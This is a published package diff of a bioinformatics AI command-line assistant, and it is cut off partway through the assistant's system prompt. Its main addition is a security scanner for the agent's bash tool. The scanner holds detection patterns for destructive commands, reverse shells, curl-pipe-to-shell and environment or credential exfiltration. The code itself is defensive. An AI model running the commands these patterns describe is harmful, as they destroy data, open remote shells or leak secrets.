@bgicli/bgicli 2.2.13 → 2.2.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/bgi.js +963 -139
- package/package.json +1 -1
package/dist/bgi.js
CHANGED
|
@@ -2092,7 +2092,7 @@ var require_lib2 = __commonJS({
|
|
|
2092
2092
|
let accum = [];
|
|
2093
2093
|
let accumBytes = 0;
|
|
2094
2094
|
let abort = false;
|
|
2095
|
-
return new Body.Promise(function(
|
|
2095
|
+
return new Body.Promise(function(resolve4, reject) {
|
|
2096
2096
|
let resTimeout;
|
|
2097
2097
|
if (_this4.timeout) {
|
|
2098
2098
|
resTimeout = setTimeout(function() {
|
|
@@ -2126,7 +2126,7 @@ var require_lib2 = __commonJS({
|
|
|
2126
2126
|
}
|
|
2127
2127
|
clearTimeout(resTimeout);
|
|
2128
2128
|
try {
|
|
2129
|
-
|
|
2129
|
+
resolve4(Buffer.concat(accum, accumBytes));
|
|
2130
2130
|
} catch (err) {
|
|
2131
2131
|
reject(new FetchError(`Could not create Buffer from response body for ${_this4.url}: ${err.message}`, "system", err));
|
|
2132
2132
|
}
|
|
@@ -2801,7 +2801,7 @@ var require_lib2 = __commonJS({
|
|
|
2801
2801
|
throw new Error("native promise missing, set fetch.Promise to your favorite alternative");
|
|
2802
2802
|
}
|
|
2803
2803
|
Body.Promise = fetch2.Promise;
|
|
2804
|
-
return new fetch2.Promise(function(
|
|
2804
|
+
return new fetch2.Promise(function(resolve4, reject) {
|
|
2805
2805
|
const request = new Request3(url, opts);
|
|
2806
2806
|
const options = getNodeRequestOptions(request);
|
|
2807
2807
|
const send = (options.protocol === "https:" ? https : http).request;
|
|
@@ -2934,7 +2934,7 @@ var require_lib2 = __commonJS({
|
|
|
2934
2934
|
requestOpts.body = void 0;
|
|
2935
2935
|
requestOpts.headers.delete("content-length");
|
|
2936
2936
|
}
|
|
2937
|
-
|
|
2937
|
+
resolve4(fetch2(new Request3(locationURL, requestOpts)));
|
|
2938
2938
|
finalize();
|
|
2939
2939
|
return;
|
|
2940
2940
|
}
|
|
@@ -2955,7 +2955,7 @@ var require_lib2 = __commonJS({
|
|
|
2955
2955
|
const codings = headers.get("Content-Encoding");
|
|
2956
2956
|
if (!request.compress || request.method === "HEAD" || codings === null || res.statusCode === 204 || res.statusCode === 304) {
|
|
2957
2957
|
response = new Response3(body, response_options);
|
|
2958
|
-
|
|
2958
|
+
resolve4(response);
|
|
2959
2959
|
return;
|
|
2960
2960
|
}
|
|
2961
2961
|
const zlibOptions = {
|
|
@@ -2965,7 +2965,7 @@ var require_lib2 = __commonJS({
|
|
|
2965
2965
|
if (codings == "gzip" || codings == "x-gzip") {
|
|
2966
2966
|
body = body.pipe(zlib.createGunzip(zlibOptions));
|
|
2967
2967
|
response = new Response3(body, response_options);
|
|
2968
|
-
|
|
2968
|
+
resolve4(response);
|
|
2969
2969
|
return;
|
|
2970
2970
|
}
|
|
2971
2971
|
if (codings == "deflate" || codings == "x-deflate") {
|
|
@@ -2977,12 +2977,12 @@ var require_lib2 = __commonJS({
|
|
|
2977
2977
|
body = body.pipe(zlib.createInflateRaw());
|
|
2978
2978
|
}
|
|
2979
2979
|
response = new Response3(body, response_options);
|
|
2980
|
-
|
|
2980
|
+
resolve4(response);
|
|
2981
2981
|
});
|
|
2982
2982
|
raw.on("end", function() {
|
|
2983
2983
|
if (!response) {
|
|
2984
2984
|
response = new Response3(body, response_options);
|
|
2985
|
-
|
|
2985
|
+
resolve4(response);
|
|
2986
2986
|
}
|
|
2987
2987
|
});
|
|
2988
2988
|
return;
|
|
@@ -2990,11 +2990,11 @@ var require_lib2 = __commonJS({
|
|
|
2990
2990
|
if (codings == "br" && typeof zlib.createBrotliDecompress === "function") {
|
|
2991
2991
|
body = body.pipe(zlib.createBrotliDecompress());
|
|
2992
2992
|
response = new Response3(body, response_options);
|
|
2993
|
-
|
|
2993
|
+
resolve4(response);
|
|
2994
2994
|
return;
|
|
2995
2995
|
}
|
|
2996
2996
|
response = new Response3(body, response_options);
|
|
2997
|
-
|
|
2997
|
+
resolve4(response);
|
|
2998
2998
|
});
|
|
2999
2999
|
writeToStream(req, request);
|
|
3000
3000
|
});
|
|
@@ -6932,9 +6932,9 @@ var chalkStderr = createChalk({ level: stderrColor ? stderrColor.level : 0 });
|
|
|
6932
6932
|
var source_default = chalk;
|
|
6933
6933
|
|
|
6934
6934
|
// src/index.ts
|
|
6935
|
-
var
|
|
6936
|
-
var
|
|
6937
|
-
var
|
|
6935
|
+
var import_fs6 = require("fs");
|
|
6936
|
+
var import_path6 = require("path");
|
|
6937
|
+
var import_os4 = require("os");
|
|
6938
6938
|
var import_https2 = require("https");
|
|
6939
6939
|
var import_child_process2 = require("child_process");
|
|
6940
6940
|
|
|
@@ -8372,8 +8372,8 @@ function _addRequestID(value, response) {
|
|
|
8372
8372
|
}
|
|
8373
8373
|
var APIPromise = class _APIPromise extends Promise {
|
|
8374
8374
|
constructor(responsePromise, parseResponse2 = defaultParseResponse) {
|
|
8375
|
-
super((
|
|
8376
|
-
|
|
8375
|
+
super((resolve4) => {
|
|
8376
|
+
resolve4(null);
|
|
8377
8377
|
});
|
|
8378
8378
|
this.responsePromise = responsePromise;
|
|
8379
8379
|
this.parseResponse = parseResponse2;
|
|
@@ -8948,7 +8948,7 @@ var startsWithSchemeRegexp = /^[a-z][a-z0-9+.-]*:/i;
|
|
|
8948
8948
|
var isAbsoluteURL = (url) => {
|
|
8949
8949
|
return startsWithSchemeRegexp.test(url);
|
|
8950
8950
|
};
|
|
8951
|
-
var sleep = (ms) => new Promise((
|
|
8951
|
+
var sleep = (ms) => new Promise((resolve4) => setTimeout(resolve4, ms));
|
|
8952
8952
|
var validatePositiveInteger = (name, n2) => {
|
|
8953
8953
|
if (typeof n2 !== "number" || !Number.isInteger(n2)) {
|
|
8954
8954
|
throw new OpenAIError(`${name} must be an integer`);
|
|
@@ -9381,12 +9381,12 @@ var EventStream = class {
|
|
|
9381
9381
|
_EventStream_errored.set(this, false);
|
|
9382
9382
|
_EventStream_aborted.set(this, false);
|
|
9383
9383
|
_EventStream_catchingPromiseCreated.set(this, false);
|
|
9384
|
-
__classPrivateFieldSet7(this, _EventStream_connectedPromise, new Promise((
|
|
9385
|
-
__classPrivateFieldSet7(this, _EventStream_resolveConnectedPromise,
|
|
9384
|
+
__classPrivateFieldSet7(this, _EventStream_connectedPromise, new Promise((resolve4, reject) => {
|
|
9385
|
+
__classPrivateFieldSet7(this, _EventStream_resolveConnectedPromise, resolve4, "f");
|
|
9386
9386
|
__classPrivateFieldSet7(this, _EventStream_rejectConnectedPromise, reject, "f");
|
|
9387
9387
|
}), "f");
|
|
9388
|
-
__classPrivateFieldSet7(this, _EventStream_endPromise, new Promise((
|
|
9389
|
-
__classPrivateFieldSet7(this, _EventStream_resolveEndPromise,
|
|
9388
|
+
__classPrivateFieldSet7(this, _EventStream_endPromise, new Promise((resolve4, reject) => {
|
|
9389
|
+
__classPrivateFieldSet7(this, _EventStream_resolveEndPromise, resolve4, "f");
|
|
9390
9390
|
__classPrivateFieldSet7(this, _EventStream_rejectEndPromise, reject, "f");
|
|
9391
9391
|
}), "f");
|
|
9392
9392
|
__classPrivateFieldGet8(this, _EventStream_connectedPromise, "f").catch(() => {
|
|
@@ -9470,11 +9470,11 @@ var EventStream = class {
|
|
|
9470
9470
|
* const message = await stream.emitted('message') // rejects if the stream errors
|
|
9471
9471
|
*/
|
|
9472
9472
|
emitted(event) {
|
|
9473
|
-
return new Promise((
|
|
9473
|
+
return new Promise((resolve4, reject) => {
|
|
9474
9474
|
__classPrivateFieldSet7(this, _EventStream_catchingPromiseCreated, true, "f");
|
|
9475
9475
|
if (event !== "error")
|
|
9476
9476
|
this.once("error", reject);
|
|
9477
|
-
this.once(event,
|
|
9477
|
+
this.once(event, resolve4);
|
|
9478
9478
|
});
|
|
9479
9479
|
}
|
|
9480
9480
|
async done() {
|
|
@@ -9627,7 +9627,7 @@ var AssistantStream = class _AssistantStream extends EventStream {
|
|
|
9627
9627
|
if (done) {
|
|
9628
9628
|
return { value: void 0, done: true };
|
|
9629
9629
|
}
|
|
9630
|
-
return new Promise((
|
|
9630
|
+
return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
|
|
9631
9631
|
}
|
|
9632
9632
|
const chunk = pushQueue.shift();
|
|
9633
9633
|
return { value: chunk, done: false };
|
|
@@ -11245,7 +11245,7 @@ var ChatCompletionStream = class _ChatCompletionStream extends AbstractChatCompl
|
|
|
11245
11245
|
if (done) {
|
|
11246
11246
|
return { value: void 0, done: true };
|
|
11247
11247
|
}
|
|
11248
|
-
return new Promise((
|
|
11248
|
+
return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
|
|
11249
11249
|
}
|
|
11250
11250
|
const chunk = pushQueue.shift();
|
|
11251
11251
|
return { value: chunk, done: false };
|
|
@@ -12896,7 +12896,7 @@ var ResponseStream = class _ResponseStream extends EventStream {
|
|
|
12896
12896
|
if (done) {
|
|
12897
12897
|
return { value: void 0, done: true };
|
|
12898
12898
|
}
|
|
12899
|
-
return new Promise((
|
|
12899
|
+
return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((event2) => event2 ? { value: event2, done: false } : { value: void 0, done: true });
|
|
12900
12900
|
}
|
|
12901
12901
|
const event = pushQueue.shift();
|
|
12902
12902
|
return { value: event, done: false };
|
|
@@ -13605,6 +13605,7 @@ var BGI_DIR = (0, import_path2.join)((0, import_os.homedir)(), ".bgicli");
|
|
|
13605
13605
|
var WORKFLOWS_DIR = (0, import_path2.join)(BGI_DIR, "workflows");
|
|
13606
13606
|
var TOOLS_DIR = (0, import_path2.join)(BGI_DIR, "tools");
|
|
13607
13607
|
var SKILLS_DIR = (0, import_path2.join)(BGI_DIR, "skills");
|
|
13608
|
+
var DATABASES_FILE = (0, import_path2.join)(BGI_DIR, "databases.json");
|
|
13608
13609
|
var CONFIG_FILE = (0, import_path2.join)(BGI_DIR, "config.json");
|
|
13609
13610
|
function ensureDirs() {
|
|
13610
13611
|
for (const dir of [BGI_DIR, WORKFLOWS_DIR, TOOLS_DIR, SKILLS_DIR]) {
|
|
@@ -13636,6 +13637,205 @@ var import_path3 = require("path");
|
|
|
13636
13637
|
var import_os2 = require("os");
|
|
13637
13638
|
var import_https = require("https");
|
|
13638
13639
|
var import_http = require("http");
|
|
13640
|
+
|
|
13641
|
+
// src/security.ts
|
|
13642
|
+
var PATTERNS = [
|
|
13643
|
+
// ── CRITICAL: always block ─────────────────────────────────────────────────
|
|
13644
|
+
{
|
|
13645
|
+
id: "rm-root",
|
|
13646
|
+
pattern: /\brm\s+(-[rRf]{1,3}\s+)+\/\s*$/,
|
|
13647
|
+
level: "CRITICAL",
|
|
13648
|
+
reason: "\u5220\u9664\u6839\u76EE\u5F55 (rm -rf /)"
|
|
13649
|
+
},
|
|
13650
|
+
{
|
|
13651
|
+
id: "rm-root-star",
|
|
13652
|
+
pattern: /\brm\s+(-[rRf]{1,3}\s+)+\/\*/,
|
|
13653
|
+
level: "CRITICAL",
|
|
13654
|
+
reason: "\u5220\u9664\u6839\u76EE\u5F55\u6240\u6709\u5185\u5BB9 (rm -rf /*)"
|
|
13655
|
+
},
|
|
13656
|
+
{
|
|
13657
|
+
id: "rm-home",
|
|
13658
|
+
pattern: /\brm\s+(-[rRf]{1,3}\s+)+(~|\$HOME)\s*$/,
|
|
13659
|
+
level: "CRITICAL",
|
|
13660
|
+
reason: "\u5220\u9664 home \u76EE\u5F55 (rm -rf ~/)"
|
|
13661
|
+
},
|
|
13662
|
+
{
|
|
13663
|
+
id: "fork-bomb",
|
|
13664
|
+
pattern: /:\(\)\s*\{[^}]*:\s*\|\s*:&[^}]*\}/,
|
|
13665
|
+
level: "CRITICAL",
|
|
13666
|
+
reason: "Fork bomb \u2014 \u8017\u5C3D\u7CFB\u7EDF\u8FDB\u7A0B"
|
|
13667
|
+
},
|
|
13668
|
+
{
|
|
13669
|
+
id: "dd-disk",
|
|
13670
|
+
pattern: /\bdd\s+.*if=\/dev\/(zero|random|urandom)\s+.*of=\/dev\/[a-z]/,
|
|
13671
|
+
level: "CRITICAL",
|
|
13672
|
+
reason: "\u8986\u5199\u78C1\u76D8\u8BBE\u5907 (dd if=/dev/zero of=/dev/sd*)"
|
|
13673
|
+
},
|
|
13674
|
+
{
|
|
13675
|
+
id: "mkfs",
|
|
13676
|
+
pattern: /\bmkfs(\.[a-z0-9]+)?\s+\/dev\//,
|
|
13677
|
+
level: "CRITICAL",
|
|
13678
|
+
reason: "\u683C\u5F0F\u5316\u78C1\u76D8\u5206\u533A (mkfs)"
|
|
13679
|
+
},
|
|
13680
|
+
{
|
|
13681
|
+
id: "write-disk-raw",
|
|
13682
|
+
pattern: />\s*\/dev\/sd[a-z][0-9]?(?!\w)/,
|
|
13683
|
+
level: "CRITICAL",
|
|
13684
|
+
reason: "\u76F4\u63A5\u5199\u5165\u88F8\u78C1\u76D8\u8BBE\u5907"
|
|
13685
|
+
},
|
|
13686
|
+
{
|
|
13687
|
+
id: "reverse-shell-bash",
|
|
13688
|
+
pattern: /bash\s+-i\s*>&?\s*\/dev\/tcp\//,
|
|
13689
|
+
level: "CRITICAL",
|
|
13690
|
+
reason: "bash \u53CD\u5F39 shell (bash -i >& /dev/tcp/)"
|
|
13691
|
+
},
|
|
13692
|
+
{
|
|
13693
|
+
id: "reverse-shell-nc",
|
|
13694
|
+
pattern: /\bnc\s+.*-e\s+\/bin\/(ba)?sh/,
|
|
13695
|
+
level: "CRITICAL",
|
|
13696
|
+
reason: "netcat \u53CD\u5F39 shell (nc -e /bin/sh)"
|
|
13697
|
+
},
|
|
13698
|
+
// ── HIGH: warn user ────────────────────────────────────────────────────────
|
|
13699
|
+
{
|
|
13700
|
+
id: "curl-pipe-exec",
|
|
13701
|
+
pattern: /curl\s+[^|]*\|\s*(ba)?sh/,
|
|
13702
|
+
level: "HIGH",
|
|
13703
|
+
reason: "curl \u7BA1\u9053\u6267\u884C \u2014 \u8FDC\u7A0B\u4EE3\u7801\u6CE8\u5165\u98CE\u9669"
|
|
13704
|
+
},
|
|
13705
|
+
{
|
|
13706
|
+
id: "wget-pipe-exec",
|
|
13707
|
+
pattern: /wget\s+[^|]*\|\s*(ba)?sh/,
|
|
13708
|
+
level: "HIGH",
|
|
13709
|
+
reason: "wget \u7BA1\u9053\u6267\u884C \u2014 \u8FDC\u7A0B\u4EE3\u7801\u6CE8\u5165\u98CE\u9669"
|
|
13710
|
+
},
|
|
13711
|
+
{
|
|
13712
|
+
id: "eval-base64",
|
|
13713
|
+
pattern: /\beval\s*[\(\$`].*base64/i,
|
|
13714
|
+
level: "HIGH",
|
|
13715
|
+
reason: "eval(base64) \u2014 \u9690\u85CF\u4EE3\u7801\u6267\u884C"
|
|
13716
|
+
},
|
|
13717
|
+
{
|
|
13718
|
+
id: "python-exec-base64",
|
|
13719
|
+
pattern: /python[23]?\s+-c\s+["'].*exec\s*\(.*base64/i,
|
|
13720
|
+
level: "HIGH",
|
|
13721
|
+
reason: "Python exec(base64) \u2014 \u9690\u85CF\u4EE3\u7801\u6267\u884C"
|
|
13722
|
+
},
|
|
13723
|
+
{
|
|
13724
|
+
id: "cred-aws",
|
|
13725
|
+
pattern: /\bAKID[A-Z0-9]{16,}\b|\bAKIA[0-9A-Z]{16}\b/,
|
|
13726
|
+
level: "HIGH",
|
|
13727
|
+
reason: "AWS/\u817E\u8BAF\u4E91 Access Key \u7591\u4F3C\u6CC4\u9732"
|
|
13728
|
+
},
|
|
13729
|
+
{
|
|
13730
|
+
id: "cred-private-key",
|
|
13731
|
+
pattern: /-----BEGIN\s+(RSA|EC|OPENSSH|DSA|ENCRYPTED)\s+PRIVATE KEY-----/,
|
|
13732
|
+
level: "HIGH",
|
|
13733
|
+
reason: "\u79C1\u94A5\u5185\u5BB9\u6CC4\u9732"
|
|
13734
|
+
},
|
|
13735
|
+
{
|
|
13736
|
+
id: "cred-gh-token",
|
|
13737
|
+
pattern: /\bghp_[A-Za-z0-9]{36}\b|\bgho_[A-Za-z0-9]{36}\b/,
|
|
13738
|
+
level: "HIGH",
|
|
13739
|
+
reason: "GitHub Personal Access Token \u6CC4\u9732"
|
|
13740
|
+
},
|
|
13741
|
+
{
|
|
13742
|
+
id: "env-exfil",
|
|
13743
|
+
pattern: /\benv\b[^|]*\|\s*(curl|wget|nc)\b/,
|
|
13744
|
+
level: "HIGH",
|
|
13745
|
+
reason: "\u73AF\u5883\u53D8\u91CF\u901A\u8FC7\u7F51\u7EDC\u6CC4\u9732"
|
|
13746
|
+
},
|
|
13747
|
+
{
|
|
13748
|
+
id: "reverse-shell-python",
|
|
13749
|
+
pattern: /python[23]?\s+-c\s+["'].*socket.*connect.*subprocess/s,
|
|
13750
|
+
level: "HIGH",
|
|
13751
|
+
reason: "Python \u53CD\u5F39 shell"
|
|
13752
|
+
},
|
|
13753
|
+
// ── MEDIUM: warn, allow ────────────────────────────────────────────────────
|
|
13754
|
+
{
|
|
13755
|
+
id: "chmod-777-r",
|
|
13756
|
+
pattern: /\bchmod\s+(-R\s+)?777\s+\//,
|
|
13757
|
+
level: "MEDIUM",
|
|
13758
|
+
reason: "\u9012\u5F52\u8BBE\u7F6E 777 \u6743\u9650\uFF08\u53EF\u80FD\u66B4\u9732\u7CFB\u7EDF\u6587\u4EF6\uFF09"
|
|
13759
|
+
},
|
|
13760
|
+
{
|
|
13761
|
+
id: "setuid-bit",
|
|
13762
|
+
pattern: /\bchmod\s+[uo]\+s\b/,
|
|
13763
|
+
level: "MEDIUM",
|
|
13764
|
+
reason: "\u8BBE\u7F6E setuid/setgid \u4F4D"
|
|
13765
|
+
},
|
|
13766
|
+
{
|
|
13767
|
+
id: "cron-modify",
|
|
13768
|
+
pattern: /\bcrontab\s+-[il]/,
|
|
13769
|
+
level: "MEDIUM",
|
|
13770
|
+
reason: "\u4FEE\u6539 cron \u5B9A\u65F6\u4EFB\u52A1"
|
|
13771
|
+
},
|
|
13772
|
+
{
|
|
13773
|
+
id: "history-clear",
|
|
13774
|
+
pattern: /history\s+-[cw]|>\s*~\/\.bash_history/,
|
|
13775
|
+
level: "MEDIUM",
|
|
13776
|
+
reason: "\u6E05\u9664 shell \u5386\u53F2\u8BB0\u5F55"
|
|
13777
|
+
},
|
|
13778
|
+
{
|
|
13779
|
+
id: "iptables-flush",
|
|
13780
|
+
pattern: /\biptables\s+-F\b/,
|
|
13781
|
+
level: "MEDIUM",
|
|
13782
|
+
reason: "\u6E05\u7A7A\u9632\u706B\u5899\u89C4\u5219 (iptables -F)"
|
|
13783
|
+
},
|
|
13784
|
+
// ── LOW: info only ─────────────────────────────────────────────────────────
|
|
13785
|
+
{
|
|
13786
|
+
id: "curl-insecure",
|
|
13787
|
+
pattern: /\bcurl\s+.*(-k|--insecure)\b/,
|
|
13788
|
+
level: "LOW",
|
|
13789
|
+
reason: "curl \u8DF3\u8FC7 TLS \u8BC1\u4E66\u9A8C\u8BC1"
|
|
13790
|
+
},
|
|
13791
|
+
{
|
|
13792
|
+
id: "wget-no-cert",
|
|
13793
|
+
pattern: /\bwget\s+.*--no-check-certificate\b/,
|
|
13794
|
+
level: "LOW",
|
|
13795
|
+
reason: "wget \u8DF3\u8FC7 TLS \u8BC1\u4E66\u9A8C\u8BC1"
|
|
13796
|
+
},
|
|
13797
|
+
{
|
|
13798
|
+
id: "sudo-usage",
|
|
13799
|
+
pattern: /\bsudo\b/,
|
|
13800
|
+
level: "LOW",
|
|
13801
|
+
reason: "\u4F7F\u7528 sudo \u63D0\u6743"
|
|
13802
|
+
},
|
|
13803
|
+
{
|
|
13804
|
+
id: "nohup-background",
|
|
13805
|
+
pattern: /\bnohup\b.*&\s*$|\bdisown\b/,
|
|
13806
|
+
level: "LOW",
|
|
13807
|
+
reason: "\u540E\u53F0\u9A7B\u7559\u8FDB\u7A0B"
|
|
13808
|
+
}
|
|
13809
|
+
];
|
|
13810
|
+
function scanCommand(command) {
|
|
13811
|
+
const matches = [];
|
|
13812
|
+
for (const pat of PATTERNS) {
|
|
13813
|
+
const m2 = command.match(pat.pattern);
|
|
13814
|
+
if (m2) {
|
|
13815
|
+
matches.push({ pattern: pat, matchedText: m2[0] });
|
|
13816
|
+
}
|
|
13817
|
+
}
|
|
13818
|
+
const safe = matches.every((m2) => m2.pattern.level !== "CRITICAL");
|
|
13819
|
+
return { safe, matches };
|
|
13820
|
+
}
|
|
13821
|
+
function scanSkillMd(markdownContent) {
|
|
13822
|
+
const bashBlocks = [...markdownContent.matchAll(/```(?:bash|sh)\n([\s\S]*?)```/g)].map((m2) => m2[1]);
|
|
13823
|
+
const allMatches = [];
|
|
13824
|
+
for (const block of bashBlocks) {
|
|
13825
|
+
for (const line of block.split("\n")) {
|
|
13826
|
+
const r2 = scanCommand(line.trim());
|
|
13827
|
+
allMatches.push(...r2.matches);
|
|
13828
|
+
}
|
|
13829
|
+
}
|
|
13830
|
+
return {
|
|
13831
|
+
criticalCount: allMatches.filter((m2) => m2.pattern.level === "CRITICAL").length,
|
|
13832
|
+
highCount: allMatches.filter((m2) => m2.pattern.level === "HIGH").length,
|
|
13833
|
+
mediumCount: allMatches.filter((m2) => m2.pattern.level === "MEDIUM").length,
|
|
13834
|
+
matches: allMatches
|
|
13835
|
+
};
|
|
13836
|
+
}
|
|
13837
|
+
|
|
13838
|
+
// src/tools.ts
|
|
13639
13839
|
var TOOL_DEFINITIONS = [
|
|
13640
13840
|
{
|
|
13641
13841
|
type: "function",
|
|
@@ -13806,33 +14006,24 @@ function decodeBuffer(buf) {
|
|
|
13806
14006
|
}
|
|
13807
14007
|
}
|
|
13808
14008
|
}
|
|
13809
|
-
var DANGEROUS_PATTERNS = [
|
|
13810
|
-
{ pattern: /rm\s+-rf\s+\/(?!\S)/, reason: "\u5220\u9664\u6839\u76EE\u5F55 (rm -rf /)" },
|
|
13811
|
-
{ pattern: /rm\s+-rf\s+~(?!\S)/, reason: "\u5220\u9664 home \u76EE\u5F55 (rm -rf ~)" },
|
|
13812
|
-
{ pattern: /rm\s+-rf\s+\$HOME(?!\S)/, reason: "\u5220\u9664 $HOME \u76EE\u5F55" },
|
|
13813
|
-
{ pattern: /dd\s+if=\/dev\/(?:zero|random|urandom)\s+of=\/dev\//, reason: "\u8986\u5199\u78C1\u76D8\u8BBE\u5907 (dd)" },
|
|
13814
|
-
{ pattern: /mkfs\b/, reason: "\u683C\u5F0F\u5316\u6587\u4EF6\u7CFB\u7EDF (mkfs)" },
|
|
13815
|
-
{ pattern: />\s*\/dev\/sd[a-z]/, reason: "\u76F4\u63A5\u5199\u5165\u78C1\u76D8\u8BBE\u5907" },
|
|
13816
|
-
{ pattern: /chmod\s+-R\s+777\s+\/(?!\S)/, reason: "\u9012\u5F52\u4FEE\u6539\u6839\u76EE\u5F55\u6743\u9650" },
|
|
13817
|
-
{ pattern: /:\(\)\s*\{.*\}.*:/, reason: "Fork bomb \u68C0\u6D4B" }
|
|
13818
|
-
];
|
|
13819
|
-
function checkDangerousCommand(command) {
|
|
13820
|
-
for (const { pattern, reason } of DANGEROUS_PATTERNS) {
|
|
13821
|
-
if (pattern.test(command)) return reason;
|
|
13822
|
-
}
|
|
13823
|
-
return null;
|
|
13824
|
-
}
|
|
13825
14009
|
async function toolBash(command, workdir, timeoutMs = 3e5, onStream) {
|
|
13826
|
-
const
|
|
13827
|
-
|
|
14010
|
+
const scan = scanCommand(command);
|
|
14011
|
+
const criticals = scan.matches.filter((m2) => m2.pattern.level === "CRITICAL");
|
|
14012
|
+
if (criticals.length > 0) {
|
|
14013
|
+
const reasons = criticals.map((m2) => m2.pattern.reason).join("\u3001");
|
|
13828
14014
|
return {
|
|
13829
14015
|
output: "",
|
|
13830
|
-
error: `\
|
|
13831
|
-
\u547D\u4EE4\u5DF2\u88AB\u963B\u6B62
|
|
13832
|
-
\u88AB\u62E6\u622A\u7684\u547D\u4EE4: ${command}`
|
|
14016
|
+
error: `\u5B89\u5168\u62E6\u622A [CRITICAL]: ${reasons}
|
|
14017
|
+
\u547D\u4EE4\u5DF2\u88AB\u963B\u6B62: ${command}`
|
|
13833
14018
|
};
|
|
13834
14019
|
}
|
|
13835
|
-
|
|
14020
|
+
const highs = scan.matches.filter((m2) => m2.pattern.level === "HIGH");
|
|
14021
|
+
if (highs.length > 0) {
|
|
14022
|
+
const reasons = highs.map((m2) => m2.pattern.reason).join("\u3001");
|
|
14023
|
+
if (onStream) onStream(`\u26A0 \u5B89\u5168\u8B66\u544A [HIGH]: ${reasons}
|
|
14024
|
+
`);
|
|
14025
|
+
}
|
|
14026
|
+
return new Promise((resolve4) => {
|
|
13836
14027
|
const isWin = process.platform === "win32";
|
|
13837
14028
|
const child = (0, import_child_process.spawn)(isWin ? "cmd" : "/bin/sh", isWin ? ["/c", command] : ["-c", command], {
|
|
13838
14029
|
cwd: workdir ?? process.cwd(),
|
|
@@ -13864,16 +14055,16 @@ async function toolBash(command, workdir, timeoutMs = 3e5, onStream) {
|
|
|
13864
14055
|
clearTimeout(timer);
|
|
13865
14056
|
const out = (decodeBuffer(Buffer.concat(outChunks)) + "\n" + decodeBuffer(Buffer.concat(errChunks))).trim();
|
|
13866
14057
|
if (timedOut) {
|
|
13867
|
-
|
|
14058
|
+
resolve4({ output: out, error: `Command timed out after ${timeoutMs / 1e3}s` });
|
|
13868
14059
|
} else if (code !== 0) {
|
|
13869
|
-
|
|
14060
|
+
resolve4({ output: out, error: `Command failed (exit ${code})` });
|
|
13870
14061
|
} else {
|
|
13871
|
-
|
|
14062
|
+
resolve4({ output: out });
|
|
13872
14063
|
}
|
|
13873
14064
|
});
|
|
13874
14065
|
child.on("error", (err) => {
|
|
13875
14066
|
clearTimeout(timer);
|
|
13876
|
-
|
|
14067
|
+
resolve4({ output: "", error: err.message });
|
|
13877
14068
|
});
|
|
13878
14069
|
});
|
|
13879
14070
|
}
|
|
@@ -13911,11 +14102,11 @@ async function toolSearchFiles(pattern, rootPath) {
|
|
|
13911
14102
|
return toolBash(command, resolved, 1e4);
|
|
13912
14103
|
}
|
|
13913
14104
|
function httpFetch(url, timeoutMs = 15e3) {
|
|
13914
|
-
return new Promise((
|
|
14105
|
+
return new Promise((resolve4, reject) => {
|
|
13915
14106
|
const getter = url.startsWith("https") ? import_https.get : import_http.get;
|
|
13916
14107
|
const req = getter(url, { headers: { "User-Agent": "BGI-CLI/1.0" } }, (res) => {
|
|
13917
14108
|
if ((res.statusCode === 301 || res.statusCode === 302) && res.headers.location) {
|
|
13918
|
-
httpFetch(res.headers.location, timeoutMs).then(
|
|
14109
|
+
httpFetch(res.headers.location, timeoutMs).then(resolve4).catch(reject);
|
|
13919
14110
|
return;
|
|
13920
14111
|
}
|
|
13921
14112
|
if (res.statusCode && res.statusCode >= 400) {
|
|
@@ -13924,7 +14115,7 @@ function httpFetch(url, timeoutMs = 15e3) {
|
|
|
13924
14115
|
}
|
|
13925
14116
|
const chunks = [];
|
|
13926
14117
|
res.on("data", (c2) => chunks.push(c2));
|
|
13927
|
-
res.on("end", () =>
|
|
14118
|
+
res.on("end", () => resolve4(Buffer.concat(chunks).toString("utf8")));
|
|
13928
14119
|
res.on("error", reject);
|
|
13929
14120
|
});
|
|
13930
14121
|
req.setTimeout(timeoutMs, () => {
|
|
@@ -14027,7 +14218,7 @@ ${shortSummary}`);
|
|
|
14027
14218
|
}
|
|
14028
14219
|
|
|
14029
14220
|
// src/chat.ts
|
|
14030
|
-
async function chat(messages, config,
|
|
14221
|
+
async function chat(messages, config, systemPrompt2) {
|
|
14031
14222
|
const prov = PROVIDERS[config.provider];
|
|
14032
14223
|
if (!prov) throw new Error(`Unknown provider: ${config.provider}`);
|
|
14033
14224
|
if (config.provider === "custom") {
|
|
@@ -14041,7 +14232,7 @@ async function chat(messages, config, systemPrompt) {
|
|
|
14041
14232
|
if (requiresKey && !apiKey) throw new Error(`\u672A\u914D\u7F6E API Key (${config.provider})\u3002\u8FD0\u884C: /connect`);
|
|
14042
14233
|
const client = new openai_default({ apiKey: apiKey || "none", baseURL });
|
|
14043
14234
|
const fullMessages = [
|
|
14044
|
-
{ role: "system", content:
|
|
14235
|
+
{ role: "system", content: systemPrompt2 },
|
|
14045
14236
|
...messages
|
|
14046
14237
|
];
|
|
14047
14238
|
return await streamLoop(client, fullMessages, config.model);
|
|
@@ -14281,7 +14472,7 @@ function summarizeArgs(args) {
|
|
|
14281
14472
|
}
|
|
14282
14473
|
|
|
14283
14474
|
// src/prompt.ts
|
|
14284
|
-
function buildSystemPrompt() {
|
|
14475
|
+
function buildSystemPrompt(dbSection) {
|
|
14285
14476
|
return `You are **BGI CLI**, a specialized bioinformatics AI assistant built for Chinese biological researchers. You run inside a terminal and can execute code, read/write files, and run bash commands to help with real bioinformatics analysis tasks.
|
|
14286
14477
|
|
|
14287
14478
|
## Core Identity
|
|
@@ -14386,6 +14577,14 @@ Python tools are at: **${TOOLS_DIR}**
|
|
|
14386
14577
|
|
|
14387
14578
|
---
|
|
14388
14579
|
|
|
14580
|
+
## \u53C2\u8003\u6570\u636E\u5E93 & \u7D22\u5F15
|
|
14581
|
+
|
|
14582
|
+
${dbSection ?? "\uFF08\u6682\u672A\u6CE8\u518C\u4EFB\u4F55\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0\uFF09"}
|
